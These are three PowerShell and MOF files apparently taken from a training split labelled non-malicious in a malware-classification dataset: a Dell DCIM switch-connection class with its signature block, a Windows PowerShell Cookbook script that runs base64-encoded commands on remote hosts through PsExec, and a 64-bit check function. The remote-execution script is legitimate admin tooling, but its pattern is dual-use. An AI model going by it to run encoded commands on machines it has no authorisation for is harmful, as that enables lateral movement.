// Copyright (c) 2016 Dell Inc. or its subsidiaries. All Rights Reserved. // ================================================================== // DCIM_SwitchConnectionView // ================================================================== [dynamic, provider("dcismprovider"), Description( "The switch connection and switch port connection information" " are provided per network port and not per network partition.")] class DCIM_SwitchConnectionView : DCIM_View { [ Description ("A unique identifier for the instance."), Key ] string InstanceID; [ Description ("A string containing the Fully Qualified Device Description, a user-friendly name for the object."), Required ] string FQDD; [ Description ("This property represents the Chassis ID information of the switch port.It can contain one of the mentioned value \"Not Available\",\"Feature Disabled\",\"No Link\",\"Not Supported\" and Chassis ID information extracted from LLDP packet."), Required ] string SwitchConnectionID; [ Description ("This property represents the port description information of the switch.It can contain one of the mentioned value \"Not Available\",\"Feature Disabled\",\"No Link\",\"Not Support\" and \"Port description information extracted from LLDP packet\"."), Required ] string SwitchPortConnectionID; [ Description ("This property indicates whether the information in this instance is stale or not."), Required, Valuemap { "0", "1" }, Values { "NotStale", "Stale" } ] uint16 StaleData; }; /* SIG # Begin signature block */ /* MIItDQYJKoZIhvcNAQcCoIIs/jCCLPoCAQExDzANBglghkgBZQMEAgEFADB5Bgor */ /* BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG */ /* KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCAq+PayMOV8g1Fz */ /* hI0ANTi4N3HeU0GPPamLJsdBKqmWE6CCEmMwggXfMIIEx6ADAgECAhBOQOQ3VO3m */ /* jAAAAABR05R/MA0GCSqGSIb3DQEBCwUAMIG+MQswCQYDVQQGEwJVUzEWMBQGA1UE */ /* ChMNRW50cnVzdCwgSW5jLjEoMCYGA1UECxMfU2VlIHd3dy5lbnRydXN0Lm5ldC9s */ /* ZWdhbC10ZXJtczE5MDcGA1UECxMwKGMpIDIwMDkgRW50cnVzdCwgSW5jLiAtIGZv */ /* ciBhdXRob3JpemVkIHVzZSBvbmx5MTIwMAYDVQQDEylFbnRydXN0IFJvb3QgQ2Vy */ /* dGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHMjAeFw0yMTA1MDcxNTQzNDVaFw0zMDEx */ /* MDcxNjEzNDVaMGkxCzAJBgNVBAYTAlVTMRYwFAYDVQQKDA1FbnRydXN0LCBJbmMu */ /* MUIwQAYDVQQ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QkQAi8xKDAmMCQwIgQg0vbkbe10IszR1EBXaEE2b4KK */ /* 2lWarjMWr00amtQMeCgwDQYJKoZIhvcNAQEBBQAEggIAIIFHrR8IXoCRljjAicAY */ /* dq/wGEIk3Lmaw0/P4z40aes0zpZGK2/OIACXzV7i5T9RSNm2jQqap5xEwb2s58up */ /* x0Po5j5W5m38EXYeP/ct4FACf4uilCDbfFYAG+bm+TrhWxwp3DNt9O1ur5suU8WG */ /* u533SA3BGP+3lESZT+FBY9tVr+VJ2K5GbCmyerg5oGWyXNahWMR3p16pxnuF8P26 */ /* UN+ITY5HRmrm3qXf3NgCZmcBBetpyYME3bwRCawcM8URG6r82Rtpj0yTkm0yXckQ */ /* C5RKXcbr2dfo+z/Fl1C62CTjqszKs0TaEVrzzimZONXiMei+bFUw/B+Nz4umbW+F */ /* zU1JnbKFP9JMNbsyJF4x0OSmsOMgIN4nILFnN1vg8IQWgUiLG5uWbJu4S8Ypjcwm */ /* 6yZMLinXsVzL+TWddlQykJEoWzjfjDZh1xr8GYupnGn1nMLmM2cjQe8+JMQ+7orp */ /* rFpqHOZlr2rsGj6l/6NJxvFMx5lacJc00wsJCT3t6KMjduvyewgGSUM862k+98ra */ /* x4q/bE5mIj31KGsTWGl0seVUaQW/Ie4H64G8RzXCfuLloF4P/F8QXksXlZBEKTKx */ /* LRaDyYVGcwfCMX+2Ds2afcHSe9T10ZPmSPcqIkx9YveDL6K1GMP3yACx4nrBA7Za */ /* r6tYUU3rosc9MuRD/dNkZP8= */ /* SIG # End signature block */
combined_dataset/train/non-malicious/Invoke-RemoteExpression_1..ps1
Invoke-RemoteExpression_1..ps1
############################################################################## ## ## Invoke-RemoteExpression ## ## From Windows PowerShell Cookbook (O'Reilly) ## by Lee Holmes (http://www.leeholmes.com/guide) ## ############################################################################## <# .SYNOPSIS Invoke a PowerShell expression on a remote machine. Requires PsExec from http://live.sysinternals.com/tools/psexec.exe. If the remote machine supports PowerShell version two, use PowerShell remoting instead. .EXAMPLE Invoke-RemoteExpression \\\\LEE-DESK { Get-Process } Retrieves the output of a simple command from a remote machine .EXAMPLE (Invoke-RemoteExpression \\\\LEE-DESK { Get-Date }).AddDays(1) Invokes a command on a remote machine. Since the command returns one of PowerShell's primitive types (a DateTime object,) you can manipulate its output as an object afterward. .EXAMPLE Invoke-RemoteExpression \\\\LEE-DESK { Get-Process } | Sort Handles Invokes a command on a remote machine. The command does not return one of PowerShell's primitive types, but you can still use PowerShell's filtering cmdlets to work with its structured output. #> param( ## The computer on which to invoke the command. $ComputerName = "\\\\$ENV:ComputerName", ## The scriptblock to invoke on the remote machine. [Parameter(Mandatory = $true)] [ScriptBlock] $ScriptBlock, ## The username / password to use in the connection $Credential, ## Determines if PowerShell should load the user's PowerShell profile ## when invoking the command. [switch] $NoProfile ) Set-StrictMode -Version Latest ## Prepare the command line for PsExec. We use the XML output encoding so ## that PowerShell can convert the output back into structured objects. ## PowerShell expects that you pass it some input when being run by PsExec ## this way, so the 'echo .' statement satisfies that appetite. $commandLine = "echo . | powershell -Output XML " if($noProfile) { $commandLine += "-NoProfile " } ## Convert the command into an encoded command for PowerShell $commandBytes = [System.Text.Encoding]::Unicode.GetBytes($scriptblock) $encodedCommand = [Convert]::ToBase64String($commandBytes) $commandLine += "-EncodedCommand $encodedCommand" ## Collect the output and error output $errorOutput = [IO.Path]::GetTempFileName() if($Credential) { ## This lets users pass either a username, or full credential to our ## credential parameter $credential = Get-Credential $credential $networkCredential = $credential.GetNetworkCredential() $username = $networkCredential.Username $password = $networkCredential.Password $output = psexec $computername /user $username /password $password ` /accepteula cmd /c $commandLine 2>$errorOutput } else { $output = psexec /acceptEula $computername ` cmd /c $commandLine 2>$errorOutput } ## Check for any errors $errorContent = Get-Content $errorOutput Remove-Item $errorOutput if($errorContent -match "(Access is denied)|(failure)|(Couldn't)") { $OFS = "`n" $errorMessage = "Could not execute remote expression. " $errorMessage += "Ensure that your account has administrative " + "privileges on the target machine.`n" $errorMessage += ($errorContent -match "psexec.exe :") Write-Error $errorMessage } ## Return the output to the user $output
combined_dataset/train/non-malicious/1363.ps1
1363.ps1
function Test-CPowerShellIs64Bit { [CmdletBinding()] param( ) Set-StrictMode -Version 'Latest' Use-CallerPreference -Cmdlet $PSCmdlet -Session $ExecutionContext.SessionState return ([Environment]::Is64BitProcess) }